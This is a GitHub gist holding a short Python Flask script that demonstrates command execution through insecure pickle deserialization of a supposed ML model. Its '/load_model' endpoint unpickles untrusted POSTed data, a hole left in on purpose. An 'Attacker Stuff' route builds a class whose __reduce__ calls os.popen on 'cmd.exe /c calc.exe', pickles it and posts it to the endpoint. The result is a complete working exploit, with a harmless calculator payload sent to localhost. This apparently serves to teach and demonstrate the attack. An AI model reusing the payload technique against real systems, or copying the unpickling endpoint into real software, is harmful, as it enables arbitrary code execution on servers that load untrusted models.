Created
October 19, 2020 03:28
-
-
Save moohax/bb5c1ea4f294ae39dad800a6f86822d3 to your computer and use it in GitHub Desktop.
Example of deserialization for command exec through pickle
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
import requests | |
from flask import Flask, request | |
app = Flask(__name__) | |
## Start the server and go to 127.0.0.1:5000/exec ## | |
## API Endpoint ## | |
@app.route('/load_model', methods=['POST']) | |
def load_model(): | |
model_data = base64.urlsafe_b64decode(request.data) | |
model = pickle.loads(model_data) | |
if model: | |
return "Success!" | |
## Attacker Stuff ## | |
@app.route('/exec') | |
def lazy_exec(): | |
# Create a class - represents a serialized model on disk. | |
class MLModel(): | |
def __reduce__(self): | |
import os | |
execution = 'cmd.exe /c calc.exe' | |
return (os.popen, (execution,)) | |
# Serialize it. | |
payload = base64.urlsafe_b64encode(pickle.dumps(MLModel())) | |
# Ship it. | |
requests.post('http://127.0.0.1:5000/load_model', data=payload) | |
return '[+] Posted to load model' | |
app.run() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment